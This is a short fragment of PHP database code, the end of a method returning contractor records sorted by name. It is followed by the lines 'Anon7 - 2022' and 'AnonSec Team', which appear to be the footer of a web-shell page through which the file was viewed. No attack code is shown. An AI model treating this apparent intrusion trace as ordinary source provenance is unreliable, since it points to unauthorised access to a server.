            ->orderby('tblcontractor.contractor', 'Asc')
            ->get();
        return $contractorDetails;
        
    }//end function
    
    
        
}//end class

Anon7 - 2022
AnonSec Team